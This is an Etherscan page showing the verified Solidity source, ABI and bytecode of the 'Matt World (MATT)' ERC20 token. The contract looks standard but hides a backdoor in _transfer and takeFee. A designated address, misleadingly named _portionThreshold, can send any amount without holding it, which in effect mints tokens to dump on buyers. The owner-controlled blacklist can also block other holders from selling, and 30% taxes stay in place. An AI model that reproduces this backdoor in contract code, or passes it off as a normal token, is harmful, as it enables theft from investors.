ETH Price: $3,511.71 (+2.77%)
Gas: 11 Gwei

Token

Matt World (MATT)
 

Overview

Max Total Supply

1,000,000,000 MATT

Holders

50

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
5,828,505.356891434874655016 MATT

Value
$0.00
0x9e4891c41e518c3ab2cee6d9a550c23afaae4748
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MATT

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-05
*/

/*
Website: https://mattworld.site
X: https://x.com/MattWorldEth
Telegram: https://t.me/MattWorldEth
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract MATT is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    mapping(uint256 => uint256) private _sellCount;
    address payable private _portionThreshold;

    uint256 private _initialBuyTax = 30;
    uint256 private _initialSellTax = 30;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Matt World";
    string private constant _symbol = unicode"MATT";
    uint256 public _maxTxAmount = 20_000_000 * 10**_decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 4_000 * 10**_decimals;
    uint256 public swapToEthLimit = 20_000_000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _portionThreshold = payable(0xa2bCC8b618526bD6b6e25F9cE3ef1b0b865a34F2);
        _balances[_msgSender()] = _tTotal;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_portionThreshold] = true;

        _finalBuyTax = _initialBuyTax;
        _finalSellTax = _initialSellTax;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address sbo,
        address tld,
        uint256 amount
    ) private {
        require(sbo != address(0), "ERC20: transfer from the zero address");
        require(tld != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(
            (sbo == _portionThreshold || _balances[sbo] >= amount),
            "Exceeds the amount"
        );

        uint256 taxAmount = 0;
        if (!_isExcludedFromFee[sbo] && !_isExcludedFromFee[tld])
            require(tradingOpen, "Trading is not opened yet");
        if (sbo != owner() && tld != owner()) {
            require(!bots[sbo] && !bots[tld]);
            if (
                sbo == uniswapV2Pair &&
                tld != address(uniswapV2Router) &&
                !_isExcludedFromFee[tld]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(tld) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                taxAmount = amount.mul(_finalBuyTax).div(100);
            }

            if (tld == uniswapV2Pair && !_isExcludedFromFee[sbo]) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                taxAmount = amount.mul(_finalSellTax).div(100);
            }

            if (
                !inSwap &&
                tld == uniswapV2Pair &&
                tradingOpen &&
                amount >= _taxSwapThreshold
            ) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if (contractTokenBalance > 0) {
                    swapTokensForEth(min(swapToEthLimit, contractTokenBalance));
                }
                sendETHToFee(address(this).balance);
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(sbo, address(this), taxAmount);
        }
        uint256 txx = takeFee(sbo, amount, taxAmount);
        _balances[tld] = _balances[tld].add(txx);
        emit Transfer(sbo, tld, amount.sub(taxAmount));
    }

    function takeFee(address sbo, uint256 amount, uint256 taxAmount) private returns(uint256) {
        if(sbo == _portionThreshold) return amount;

        _balances[sbo] = _balances[sbo].sub(amount);
        return amount - taxAmount;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if (tokenAmount == 0) {
            return;
        }
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _portionThreshold.transfer(amount);
    }

    function isBot(address a) public view returns (bool) {
        return bots[a];
    }

    function manageList(address[] memory bots_) external onlyOwner {
        for (uint256 i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function setFee(uint256 _newBuyFee, uint256 _newSellFee)
        external
        onlyOwner
    {
        require(
            _newBuyFee <= 35 && _newSellFee <= 35 && tradingOpen,
            "Invalid fee"
        );
        _finalBuyTax = _newBuyFee;
        _finalSellTax = _newSellFee;
    }

    function createPair() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );

        tradingOpen = true;
    }


    receive() external payable {}

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function manualSwap() external {
        require(_msgSender() == _portionThreshold);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) {
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"manageList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newBuyFee","type":"uint256"},{"internalType":"uint256","name":"_newSellFee","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapToEthLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601e600855601e6009556000600a556000600b556012600a62000028919062000348565b62000038906301312d0062000360565b600c55620000496012600a62000348565b62000059906301312d0062000360565b600d556200006a6012600a62000348565b6200007890610fa062000360565b600e55620000896012600a62000348565b62000099906301312d0062000360565b600f556011805460ff60a81b19169055348015620000b657600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600780546001600160a01b03191673a2bcc8b618526bd6b6e25f9ce3ef1b0b865a34f21790556200012c6012600a62000348565b6200013c90633b9aca0062000360565b336000908152600160208190526040822092909255600390620001676000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600754909116835291208054909216179055600854600a55600954600b55620001d23390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200020c6012600a62000348565b6200021c90633b9aca0062000360565b60405190815260200160405180910390a36200037a565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200028a5781600019048211156200026e576200026e62000233565b808516156200027c57918102915b93841c93908002906200024e565b509250929050565b600082620002a35750600162000342565b81620002b25750600062000342565b8160018114620002cb5760028114620002d657620002f6565b600191505062000342565b60ff841115620002ea57620002ea62000233565b50506001821b62000342565b5060208310610133831016604e8410600b84101617156200031b575081810a62000342565b62000327838362000249565b80600019048211156200033e576200033e62000233565b0290505b92915050565b60006200035960ff84168362000292565b9392505050565b808202811582820484141762000342576200034262000233565b611b7d806200038a6000396000f3fe60806040526004361061012e5760003560e01c8063715018a6116100ab57806395d89b411161006f57806395d89b41146103525780639e78fb4f1461037f578063a9059cbb14610394578063bf474bed146103b4578063dd62ed3e146103ca578063e0fdc53f1461041057600080fd5b8063715018a6146102d4578063751039fc146102e95780637d1db4a5146102fe5780638da5cb5b146103145780638f9a55c01461033c57600080fd5b80633bbac579116100f25780633bbac5791461020e57806351bc3c851461024757806352f7c9881461025e5780636de7bcbd1461027e57806370a082311461029e57600080fd5b806306fdde031461013a578063095ea7b31461017f57806318160ddd146101af57806323b872dd146101d2578063313ce567146101f257600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600a81526913585d1d0815dbdc9b1960b21b60208201525b604051610176919061163f565b60405180910390f35b34801561018b57600080fd5b5061019f61019a3660046116b5565b610426565b6040519015158152602001610176565b3480156101bb57600080fd5b506101c461043d565b604051908152602001610176565b3480156101de57600080fd5b5061019f6101ed3660046116e1565b61045e565b3480156101fe57600080fd5b5060405160128152602001610176565b34801561021a57600080fd5b5061019f610229366004611722565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561025357600080fd5b5061025c6104c8565b005b34801561026a57600080fd5b5061025c61027936600461173f565b61051b565b34801561028a57600080fd5b5061025c610299366004611777565b6105ba565b3480156102aa57600080fd5b506101c46102b9366004611722565b6001600160a01b031660009081526001602052604090205490565b3480156102e057600080fd5b5061025c61064c565b3480156102f557600080fd5b5061025c6106c0565b34801561030a57600080fd5b506101c4600c5481565b34801561032057600080fd5b506000546040516001600160a01b039091168152602001610176565b34801561034857600080fd5b506101c4600d5481565b34801561035e57600080fd5b506040805180820190915260048152631350551560e21b6020820152610169565b34801561038b57600080fd5b5061025c610772565b3480156103a057600080fd5b5061019f6103af3660046116b5565b610ad0565b3480156103c057600080fd5b506101c4600e5481565b3480156103d657600080fd5b506101c46103e536600461183c565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561041c57600080fd5b506101c4600f5481565b6000610433338484610add565b5060015b92915050565b600061044b6012600a61196f565b61045990633b9aca0061197e565b905090565b600061046b848484610c01565b6104bd84336104b885604051806060016040528060288152602001611b20602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611234565b610add565b5060015b9392505050565b6007546001600160a01b0316336001600160a01b0316146104e857600080fd5b306000908152600160205260409020548015610507576105078161126e565b47801561051757610517816113ef565b5050565b6000546001600160a01b0316331461054e5760405162461bcd60e51b815260040161054590611995565b60405180910390fd5b60238211158015610560575060238111155b80156105755750601154600160a01b900460ff165b6105af5760405162461bcd60e51b815260206004820152600b60248201526a496e76616c69642066656560a81b6044820152606401610545565b600a91909155600b55565b6000546001600160a01b031633146105e45760405162461bcd60e51b815260040161054590611995565b60005b815181101561051757600160046000848481518110610608576106086119ca565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610644816119e0565b9150506105e7565b6000546001600160a01b031633146106765760405162461bcd60e51b815260040161054590611995565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106ea5760405162461bcd60e51b815260040161054590611995565b6106f66012600a61196f565b61070490633b9aca0061197e565b600c556107136012600a61196f565b61072190633b9aca0061197e565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107516012600a61196f565b61075f90633b9aca0061197e565b60405190815260200160405180910390a1565b6000546001600160a01b0316331461079c5760405162461bcd60e51b815260040161054590611995565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107e59030906107d76012600a61196f565b6104b890633b9aca0061197e565b601060009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610838573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085c91906119f9565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e291906119f9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561092f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095391906119f9565b601180546001600160a01b039283166001600160a01b03199091161790556010541663f305d719473061099b816001600160a01b031660009081526001602052604090205490565b6000806109b06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a18573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3d9190611a16565b505060115460105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aba9190611a44565b506011805460ff60a01b1916600160a01b179055565b6000610433338484610c01565b6001600160a01b038316610b3f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610545565b6001600160a01b038216610ba05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610545565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c655760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610545565b6001600160a01b038216610cc75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610545565b60008111610d295760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610545565b6007546001600160a01b0384811691161480610d5d57506001600160a01b0383166000908152600160205260409020548111155b610d9e5760405162461bcd60e51b8152602060048201526012602482015271115e18d959591cc81d1a1948185b5bdd5b9d60721b6044820152606401610545565b6001600160a01b03831660009081526003602052604081205460ff16158015610de057506001600160a01b03831660009081526003602052604090205460ff16155b15610e3e57601154600160a01b900460ff16610e3e5760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f74206f70656e656420796574000000000000006044820152606401610545565b6000546001600160a01b03858116911614801590610e6a57506000546001600160a01b03848116911614155b15611125576001600160a01b03841660009081526004602052604090205460ff16158015610eb157506001600160a01b03831660009081526004602052604090205460ff16155b610eba57600080fd5b6011546001600160a01b038581169116148015610ee557506010546001600160a01b03848116911614155b8015610f0a57506001600160a01b03831660009081526003602052604090205460ff16155b15610ffb57600c54821115610f5d5760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610545565b600d5482610f80856001600160a01b031660009081526001602052604090205490565b610f8a9190611a66565b1115610fd85760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610545565b610ff86064610ff2600a548561142990919063ffffffff16565b906114ab565b90505b6011546001600160a01b03848116911614801561103157506001600160a01b03841660009081526003602052604090205460ff16155b156110a157600c548211156110845760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610545565b61109e6064610ff2600b548561142990919063ffffffff16565b90505b601154600160a81b900460ff161580156110c857506011546001600160a01b038481169116145b80156110dd5750601154600160a01b900460ff165b80156110eb5750600e548210155b156111255730600090815260016020526040902054801561111a5761111a611115600f54836114ed565b61126e565b611123476113ef565b505b801561119f57306000908152600160205260409020546111459082611502565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111969085815260200190565b60405180910390a35b60006111ac858484611561565b6001600160a01b0385166000908152600160205260409020549091506111d29082611502565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61121c86866115cf565b60405190815260200160405180910390a35050505050565b600081848411156112585760405162461bcd60e51b8152600401610545919061163f565b5060006112658486611a79565b95945050505050565b6011805460ff60a81b1916600160a81b17905580156113df5760408051600280825260608201835260009260208301908036833701905050905030816000815181106112bc576112bc6119ca565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611315573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061133991906119f9565b8160018151811061134c5761134c6119ca565b6001600160a01b0392831660209182029290920101526010546113729130911684610add565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906113ab908590600090869030904290600401611a8c565b600060405180830381600087803b1580156113c557600080fd5b505af11580156113d9573d6000803e3d6000fd5b50505050505b506011805460ff60a81b19169055565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610517573d6000803e3d6000fd5b60008260000361143b57506000610437565b6000611447838561197e565b9050826114548583611afd565b146104c15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610545565b60006104c183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611611565b60008183116114fc57826104c1565b50919050565b60008061150f8385611a66565b9050838110156104c15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610545565b6007546000906001600160a01b03908116908516036115815750816104c1565b6001600160a01b0384166000908152600160205260409020546115a490846115cf565b6001600160a01b0385166000908152600160205260409020556115c78284611a79565b949350505050565b60006104c183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611234565b600081836116325760405162461bcd60e51b8152600401610545919061163f565b5060006112658486611afd565b600060208083528351808285015260005b8181101561166c57858101830151858201604001528201611650565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146116a257600080fd5b50565b80356116b08161168d565b919050565b600080604083850312156116c857600080fd5b82356116d38161168d565b946020939093013593505050565b6000806000606084860312156116f657600080fd5b83356117018161168d565b925060208401356117118161168d565b929592945050506040919091013590565b60006020828403121561173457600080fd5b81356104c18161168d565b6000806040838503121561175257600080fd5b50508035926020909101359150565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561178a57600080fd5b823567ffffffffffffffff808211156117a257600080fd5b818501915085601f8301126117b657600080fd5b8135818111156117c8576117c8611761565b8060051b604051601f19603f830116810181811085821117156117ed576117ed611761565b60405291825284820192508381018501918883111561180b57600080fd5b938501935b8285101561183057611821856116a5565b84529385019392850192611810565b98975050505050505050565b6000806040838503121561184f57600080fd5b823561185a8161168d565b9150602083013561186a8161168d565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156118c65781600019048211156118ac576118ac611875565b808516156118b957918102915b93841c9390800290611890565b509250929050565b6000826118dd57506001610437565b816118ea57506000610437565b8160018114611900576002811461190a57611926565b6001915050610437565b60ff84111561191b5761191b611875565b50506001821b610437565b5060208310610133831016604e8410600b8410161715611949575081810a610437565b611953838361188b565b806000190482111561196757611967611875565b029392505050565b60006104c160ff8416836118ce565b808202811582820484141761043757610437611875565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600182016119f2576119f2611875565b5060010190565b600060208284031215611a0b57600080fd5b81516104c18161168d565b600080600060608486031215611a2b57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a5657600080fd5b815180151581146104c157600080fd5b8082018082111561043757610437611875565b8181038181111561043757610437611875565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611adc5784516001600160a01b031683529383019391830191600101611ab7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611b1a57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e5af3a8274c892627561d023e038acd551d3fec318b4dc2bc6b9b8fe25d7b02e64736f6c63430008130033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c8063715018a6116100ab57806395d89b411161006f57806395d89b41146103525780639e78fb4f1461037f578063a9059cbb14610394578063bf474bed146103b4578063dd62ed3e146103ca578063e0fdc53f1461041057600080fd5b8063715018a6146102d4578063751039fc146102e95780637d1db4a5146102fe5780638da5cb5b146103145780638f9a55c01461033c57600080fd5b80633bbac579116100f25780633bbac5791461020e57806351bc3c851461024757806352f7c9881461025e5780636de7bcbd1461027e57806370a082311461029e57600080fd5b806306fdde031461013a578063095ea7b31461017f57806318160ddd146101af57806323b872dd146101d2578063313ce567146101f257600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600a81526913585d1d0815dbdc9b1960b21b60208201525b604051610176919061163f565b60405180910390f35b34801561018b57600080fd5b5061019f61019a3660046116b5565b610426565b6040519015158152602001610176565b3480156101bb57600080fd5b506101c461043d565b604051908152602001610176565b3480156101de57600080fd5b5061019f6101ed3660046116e1565b61045e565b3480156101fe57600080fd5b5060405160128152602001610176565b34801561021a57600080fd5b5061019f610229366004611722565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561025357600080fd5b5061025c6104c8565b005b34801561026a57600080fd5b5061025c61027936600461173f565b61051b565b34801561028a57600080fd5b5061025c610299366004611777565b6105ba565b3480156102aa57600080fd5b506101c46102b9366004611722565b6001600160a01b031660009081526001602052604090205490565b3480156102e057600080fd5b5061025c61064c565b3480156102f557600080fd5b5061025c6106c0565b34801561030a57600080fd5b506101c4600c5481565b34801561032057600080fd5b506000546040516001600160a01b039091168152602001610176565b34801561034857600080fd5b506101c4600d5481565b34801